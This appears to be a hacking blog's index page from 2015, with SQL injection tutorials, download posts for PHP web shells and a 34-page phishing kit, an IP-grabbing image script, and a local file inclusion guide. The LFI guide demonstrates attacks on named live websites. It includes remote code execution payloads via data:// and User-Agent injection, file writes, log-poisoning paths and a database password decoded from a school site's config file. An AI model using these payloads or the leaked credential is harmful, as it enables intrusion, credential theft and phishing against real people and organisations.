0 20:00
Basic of SQL for SQL Injection part 2 Basic of SQL for SQL Injection part 2

Basic of SQL for SQL Injection part 2 Welcome to the second part of basics of SQL for SQL injection. As in th last part we took this url ...

Read more »

0 19:57
Basic of SQL for SQL Injection Basic of SQL for SQL Injection

Basic of SQL for SQL Injection In this Tutorial we will discuss some basics of SQL queries and concentrate on queries and basics which w...

Read more »

0 04:56
b374k-2.8 Shell b374k-2.8 Shell

b374k-2.8 Shell Download Links: Link 1 http://goo.gl/IDKakU Link 2 http://goo.gl/bXqrWf

Read more »

0 04:51
1337w0rm_v2 Shell Free 1337w0rm_v2 Shell Free

                                          1337w0rm_v2 Download Links: Click Here or Click Here

Read more »

0 04:47
All Phishing Pages Set (34 Pages) All Phishing Pages Set (34 Pages)

                                  All Phishing Pages  Like: Facebook Yahoo Gmail Paypal And many more Links: Link 1 http://goo.gl/Jrn8Oc...

Read more »
0 02:59

Steal IP Address using Image Starting on the name of My god "Allah" the most beneficent the most merciful Today i wokeup and s...

Read more »
0 02:43

Hand Guide To Local File Inclusion(LFI) In the Name of my God the Most Beneficent and the Merciful Today I m Posting This Local File inc...

Read more »

Tuesday, 3 March 2015

Basic of SQL for SQL Injection part 2

Basic of SQL for SQL Injection part 2

Welcome to the second part of basics of SQL for SQL injection. As in th last part we took this url "http://fakesite.com/report.php?id=23" as an example and then assumed some basic queries by looking at the URL. Our queries were:

select * from table_name where id=23

select * from table_name where id='23'

select * from table_name where id="23"

select * from table_name where id=(23)

select * from table_name where id=('23')

select * from table_name where id=("23")


You may also encounter your input under the columns or group/order by statements but they are not common, so we will discuss them later on. Now lets continue to next step how to test with different input and know which of the above query are we dealing with.

before we start we must know different types of comments used in SQLi.

CommentName
--:MySQL Linux Style
--+:MySQL Windows Style
#:Hash (URL encode while use)
--+-:SQL Comment
;:Null Byte
`:Backtick


So now lets start with out next phase. All what we need to do is input different injections and see how Application acts on it.
InformationRemember whenever the input is enclosed with single quotes only single quote with input will create error.
When input is enlcosed by double quotes a double qoute with input will give error.
When Input is not enlcosed with anything single quote and double quote both will give error.








First of all we can try our input with some injections to see if we get any error. Error may always not be real SQL error it may be some times generic error or change in output of the application. All you have to do it recognise it. 

MySQL Error Style:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1


MSSQL ASPX Error:
Server Error in '/' Application


MSAccess (Apache PHP):
Fatal error: Uncaught exception 'com_exception' with message Source: Microsoft JET Database Engine


MSAccesss (IIS ASP):
Microsoft JET Database Engine error '80040e14'


Oracle Error:
ORA-00933: SQL command not properly ended


ODBC Error:
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)


PostgreSQL Error:
PSQLException: ERROR: unterminated quoted string at or near "'" Position: 1
or
Query failed: ERROR: syntax error at or near
"'" at character 56 in /www/site/test.php on line 121.


MS SQL Server: Error:
Microsoft SQL Native Client error %u201880040e14%u2019
Unclosed quotation mark after the character string
Now i will show you different tests to create errors and confirm which query is working inside the Application while using the same example "http://fakesite.com/report.php?id=23" url, You can perform these tests and check the reactions of the application:

select * from table_name where id=23
InputReaction if its Intiger Based Injection
23':It should cause error or no output
":Should cause error or no output
23 or 1=1:Any Output should come but may be different output
23 and 1=1:Same output should come
23 and false:No output
23 and true:Same Output
23--+:Same output. I used --+ to comment, later i ll show how to know which one to use
23 and true--+:Same output


If the Web application reacts same as shown above then you can make sure that the injection is intiger type. Now lets test for single quote enclosed input query.
select * from table_name where id='23'
InputReaction if its Single Qoute Based Injection
23':It should cause error or no output
23":No error Same output
23' or '1'='1:Any Output should come but may be different output
23' and '1'='1:Same output should come
23' and false--+:No output
23' and true--+:Same Output


If the Web application reacts same as shown above then you can make sure that the injection is single quote type. Now lets test for double quote enclosed input query.

select * from table_name where id="23"

InputReaction if its Double Qoute Based Injection
23':No error Same output
23":>It should cause error or no output
23" or "1"="1:Any Output should come but may be different output
23" and "1"="1:Same output should come
23" and false--+:No output
23" and true--+:Same Output


If the Web application reacts same as shown above then you can make sure that the injection is Double quote type. Now lets test for bracket enclosed initger based input query.

select * from table_name where id=(23)

InputReaction if its Intiger Based Bracket enclosed Injection
23':It should cause error or no output
":Should cause error or no output
23 or 1=1:Output should come but may be different output
23 and 1=1:Output should come but may be different output
23 and false:No output
23 and true:Same Output
23--+:Error or No output. Here you can understand that any Bracket is used
23)--+:Same output
23) and false--+:No output
23) and true--+:Same output


If the Web application reacts same as shown above then you can make sure that the injection is Intiger type with bracket Query. Now lets test for bracket enclosed Single Quote based input query.

select * from table_name where id=('23')

InputReaction if its bracket enclosed Single Quote based Injection
23':It should cause error or no output
23":No error Same output
23' or '1'='1:Any Output should come but may be different output
23' and '1'='1:Any Output should come but may be different output
23' and false--+:No output or error
23' and true--+:No output or error
23') and False--+:No output
23') and true--+:Same Output
23') or true--+:Output will come but may be different


If the Web application reacts same as shown above then you can make sure that the injection is bracket enclosed Single Quote based input query. Now lets test for bracket enclosed double Quote based input query.

select * from table_name where id=("23")

InputReaction if its bracket enclosed Double Quote based Injection
23':No error Same output
23":Error or No output
23" or "1"="1:Any Output should come but may be different output
23" and "1"="1:Any Output should come but may be different output
23" and false--+:No output or error
23" and true--+:No output or error
23") and False--+:No output
23") and true--+:Same Output
23") or true--+:Output will come but may be different


If the Web application reacts same as shown above then you can make sure that the injection is bracket enclosed double Quote based input query.

So here we just learn to check which query is working inside the application, in the next tutorial we will learn two things how to use the right comment operator and how and why to find the number of columns.

 Author : Zenodermus Javanicus & Securityidiots.com
Posted by at No comments:

Basic of SQL for SQL Injection

Basic of SQL for SQL Injection

In this Tutorial we will discuss some basics of SQL queries and concentrate on queries and basics which will help us while different Phases of Injection. This will be like a crash course of SQL as per the requirements of SQL Injection. 

The Hierarchy
First of all there are users which can have access to multiple databases, then a database can have multiple tables then a table can have multiple Columns and columns have data in each row. 

This is an example database. 


Here is an example of the most basic type of Select query.
select * from table1


Output will be:


Where * stands for all the columns and "table1" is the table name.

so for example we do not want all the columns but only some selected colulms in output then the query will be.

select column1,column2 from table1


Output will be:


so let us try some basic conditions now to limit the output.

Select * from students where id=1


Output will be:


lets try some other conditions with string type columns.

Select * from students where f_name='camaline'


Output will be:


When ever we are facing a SQL injection. Something query this is running inside the application. So once we assume what the query is we can easily start injecting into it. Following are some common possiblities of queries you can face:

[#] If Query is taking any numerical input

select * from table_name where id=1
select * from table_name where id='1'
select * from table_name where id="1"
select * from table_name where id=(1)
select * from table_name where id=('1')
select * from table_name where id=("1")


All the above queries will give same output.

[#] If Query is taking any string input

select * from table_name where id='1'
select * from table_name where id="1"
select * from table_name where id=('1')
select * from table_name where id=("1")


All the above queries will give same output.

For Example when we see any url like "http://fakesite.com/report.php?id=23" we can easily assume what query may be working inside. And that is the first step of SQL injection.

So if we assume for the above url our Assumption Queries will be the following:

select * from table_name where id=23
select * from table_name where id='23'
select * from table_name where id="23"
select * from table_name where id=(23)
select * from table_name where id=('23')
select * from table_name where id=("23")


Well for this Tutorial this is enought. In the next tutorial i will show you how can you find out the correct query out of these assumption queries using some simple tests, and get confirmed. Once we will be confirmed, we will start injecting and understand the whole backend process at the same time.

Till then happy Inj3ct!ng


 Author : Zenodermus Javanicus
Posted by at No comments:

b374k-2.8 Shell

b374k-2.8 Shell

Download Links:
Posted by at No comments:

1337w0rm_v2 Shell Free

                                          1337w0rm_v2




Download Links:
Click Here
Posted by at No comments:

All Phishing Pages Set (34 Pages)


                                 All Phishing Pages 

Like:
Facebook
Yahoo
Gmail
Paypal
And many more
Links:
Link 1
http://goo.gl/Jrn8Oc
Link 2
http://goo.gl/3vSXm4
Posted by at No comments:

Steal IP Address using Image

Starting on the name of My god "Allah" the most beneficent the most merciful

Today i wokeup and saw a post on grabbing the IP using SQL injection. As per my interest i checked what it was, after reading it i came up with an idea to include some htaccess shit with the whole idea and BOOM!!! you ll get a kewl ip grabbing image.

In this tutorial we will learn how to grab ip using an image. The idea is to use .htaccess along with a php file and add .jpg files to php executable using htaccess. Here is the htaccess code which will add jpg as php executable.
AddHandler application/x-httpd-php5 .jpg
Now make a grabber.jpg file with the below code.
<?php
$fh = fopen('ip_list.txt', 'a');
fwrite($fh, $_SERVER['REMOTE_ADDR']."
");
fclose($fh);
$im = imagecreatefromjpeg("n00b.png");
header('Content-Type: image/jpeg');
imagejpeg($im);
imagedestroy($im);
?>
Now in the end put a image with n00b.png in the same folder and change the permission for grabber.jpg to 755 you are ready with your ip grabber.
POC: IP_List.txt the below image grabbed your ip when you visited this page.


So here we have our IP grabber ready to work. Now the next part is using it with SQLi to grab a person IP. I dont find any logical reason to send an injected link to a person to grab his ip when we can directly send a image. But still just to knowledge here is the link to get a person up using SQLi. It as simple as getting the image loaded into the browser. Now lets do the same using XSS. Here is the link to get the victim ip using XSS.

Now a very interesting usage with this trick. Actually many Forums allow us to inlude images in our post, so we can use this trick to grab the ip addresses of any one who visit that post.

Thanks for reading.

Happy Hacking
http://securityidiots.com/
 Author : Zenodermus Javanicus
Posted by at No comments:

Hand Guide To Local File Inclusion(LFI)

In the Name of my God the Most Beneficent and the Merciful

Today I m Posting This Local File inclusion Compilation After My SQLi Tutorials For a Change =)

Here is a Demo Video to get shell using LFI:
 
1.Getting RCE with LFI Via /proc/self/environ

so First Lets Try getting /etc/passwd to Confirm if its Directory Traversal Attack Or not

../ is used to get into upper(parent) Directory in *nix

http://smscenter.dprdbekasikota.go.id/?page=/etc/passwd

http://smscenter.dprdbekasikota.go.id/?page=../../../etc/passwd

http://smscenter.dprdbekasikota.go.id/?page=../../../../etc/passwd (Worked !)

Okay so Our Next step , Lets Try Getting /proc/self/environ

http://smscenter.dprdbekasikota.go.id/?page=../../../../proc/self/environ
aHaN!! Worked

DOCUMENT_ROOT=/home/dprdicom/public_html/smscenterGATEWAY_INTERFACE=CGI/1.1HTTP_ACCEPT=text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8HTTP_ACCEPT_ENCODING=gzip,
 deflateHTTP_ACCEPT_LANGUAGE=en-US,en;q=0.5HTTP_CONNECTION=keep-aliveHTTP_HOST=smscenter.dprdbekasikota.go.idHTTP_USER_AGENT=Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:27.0) Gecko/20100101 
 Firefox/27.0PATH=/bin:/usr/binPHPRC=/usr/local/lib/QUERY_STRING=page=../../../../proc/self/environREDIRECT_STATUS=200REMOTE_ADDR=182.68.251.152REMOTE_PORT=21007REQUEST_METHOD=GETREQUEST_URI=/?page=../../../../proc/self/environSCRIPT_FILENAME=/home/dprdicom/public_html/smscenter/index.phpSCRIPT_NAME=/index.phpSERVER_ADDR=103.28.12.130SERVER_ADMIN=
_NAME=smscenter.dprdbekasikota.go.idSERVER_PORT=80SERVER_PROTOCOL=HTTP/1.1SERVER_SIGNATURE=SERVER_SOFTWARE=ApacheUNIQUE_ID=U@e2lmccDCgAB3SNHk0AAAAa
Do You See SomeThing like 'HTTP_USER_AGENT=Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:27.0) Gecko/20100101 Firefox/27.0' in /proc/self/environ?
its Could Execute PHP Code When Requested, so Now We gonna Modify User-Agent Field using Live HTTP Headers/Tamper Data to :

PHP:
<?php phpinfo(); ?>
Yo! It Worked , we Could phpinfo() , but unfortunately We Couldn't Execute system Commands as We Could See in phpinfo's disable_functions All System Functions are Disabled , Still We could Write Files =)) using

<?$file = fopen("./lib/xxx.php","w");fwrite($file,"<?phpinfo()?>");fclose($file);phpinfo();?>

##I Wasn't Able to Write in main directory of Website so Found a dir 'lib' by playing with Google dorks and It Was Writable you Could see ##

POC :
http://smscenter.dprdbekasikota.go.id/lib/xxx.php
Using file_puts_content(); or similar functions

2.Reading Files via LFI [php://filter]

php://filter is a meta-wrapper designed to permit the application of filters to a stream at
the time of opening. This is useful with all-in-one file functions such as readfile(), file(), and
file_get_contents() where there is otherwise no opportunity to apply a filter to the stream prior
the contents being read.
We can read configuration/database.php , only PHP files using it

USAGE : php://filter/convert.base64-encode/resource=file name here

http://www.bihtapublicschool.co.in/index.php?token=admission
So We Gonna Try loading /etc/passwd

www.bihtapublicschool.co.in/index.php?token=/etc/passwd
Now We See in The Error
 Warning: include(/etc/passwd.php): failed to open stream: No such file or directory in /home/bihtapub/public_html/index.php on line 72
'.php' is there Already For removing This Extension We Use (null byte)
http://www.bihtapublicschool.co.in/index.php?token=/etc/passwd
but oH!! Still Error :\

Failed opening '/etc/passwd' , We are unable to load it ...

Lets Try to Read php files once =((

http://www.bihtapublicschool.co.in/index.php?token=php://filter/convert.base64-encode/resource=index
and yes!!

We Loaded index.php of the site

You Could See in The Page Which is Base64 encoded and Could Be Easily Reversed,

so I decoded ::

<?php
include('admin/config.php');
$gallerymenuquery = mysql_query("select * from tbl_folder");
$galleryfirstitem = mysql_fetch_
.........
.
We Could See in The Starting lines the location of config file Lets load it

http://www.bihtapublicschool.co.in/index.php?token=php://filter/convert.base64-encode/resource=admin/config
Base64 encoded:
PD9waHAKJGRiX25hbWU9ImJpaHRhcHViX2RiIjsKaWYoJF9TRVJWRVJbIlNFUlZFUl9BRERSIl09PSIxMjcuMC4wLjEiKQoJJGNvbj1teXNxbF9jb25uZWN0KCJsb2NhbGhvc3QiLCJyb290IiwiIik7CmVsc2UKCSRjb249bXlzcWxfY29ubmVjdCgibG9jYWxob3N0IiwiYmlodGFwdWJfYWRtaW4iLCJCUFNAMjAxMyIpOwppZighJGNvbikKCXsKCWRpZSgiRXJyb3IgaW4gY29ubmVjdGlvbiIubXlzcWxfZXJyb3IoKSk7Cgl9Cm15c3FsX3NlbGVjdF9kYigiJGRiX25hbWUiKW9yIGRpZSgiY2Fubm90IHNlbGVjdCBEQiIpOwo/
Decoded :
PHP:
<?php
$db_name="bihtapub_db";
if($_SERVER["SERVER_ADDR"]=="127.0.0.1")
   $con=mysql_connect("localhost","root","");
else
   $con=mysql_connect("localhost","bihtapub_admin","BPS@2013");
if(!$con)...
.
.?>

3.When Null bytes Fails or Is Escaped and Couldn't remove extension already there

PHP truncates paths used by filesystem functions, by default, into 4096 bytes So We Remove whatever is left at the end of the path by Filling the buffer

The ideal way to fill the buffer is with "/." strings and this is the string this tutorial will be using (linux server only)

www.becrux.com/index.php?page=../../../../../../etc/my.cnf
as you could see " include(pages/../../../../../../etc/my.cnf/index.php)"
We need to remove '/index.php' from include() on Using we See it Simply is Escaped

So!! Now We Gonna Fill Up buffer

http://www.becrux.com/index.php?page=../../../../../../etc/my.cnf/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././
Due To some Reason IDK I was not able to load /etc/passwd, Strange

[#]Thnx To AntiPaste , HackForums For This buffer filling Method[#]

#if You See Forbidden error on Using ../../ You Could Simply URL Encode them :V and Try#

4.Using data:// wrapper

It Can inject the PHP code you want executed directly into the URL Lets see it:
Usage :: data:text/plain,<?php phpinfo(); ?>
Or
data:,<?system($_GET['x']);?>&x=ls
Or
data:;base64,PD9zeXN0ZW0oJF9HRVRbJ3gnXSk7Pz4=&x=ls

Even it Supports Base64 Encoding

So I Have a Site here => http://www.zamenfeld.com.ar/main.php?pagina=publicaciones.html

http://www.zamenfeld.com.ar/main.php?pagina=data:text/plain,<?system($_GET['x']);?>&x=ls
Or
http://www.zamenfeld.com.ar/main.php?pagina=data:,<?system($_GET['x']);?>&x=ls
Or
http://www.zamenfeld.com.ar/main.php?pagina=data:;base64,PD9zeXN0ZW0oJF9HRVRbJ3gnXSk7Pz4=&x=ls
5.Log Poisoning Method

We Use it When /proc/self/environ Doesn't loads,
In order to perform a LFI log poisoning you need to be able to include the apache error or and access logs. Unfortuantly have been made "impossible" in newer versions of apache(the most used web server)

Some Common log Files:=>

/etc/httpd/logs/acces_log
/etc/httpd/logs/acces.log
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/var/log/apache/error_log
/var/log/apache2/error_log
/var/log/apache/error.log
/var/log/apache2/error.log
/var/log/error_log
/var/log/error.log
/var/www/logs/error_log
/var/www/logs/error.log

Lets say we can include /var/www/logs/access.log.

http://www.site.com/index.php?page=/var/www/logs/access.log

Now We could Again Follow The Same Method by Modifying User-Agents to Get RCE

I Hope You Liked it =)) Thnx For Watching

Regards
http://securityidiots.com/& Author : Rahul Maini
Posted by at No comments:
Subscribe to: Posts (Atom)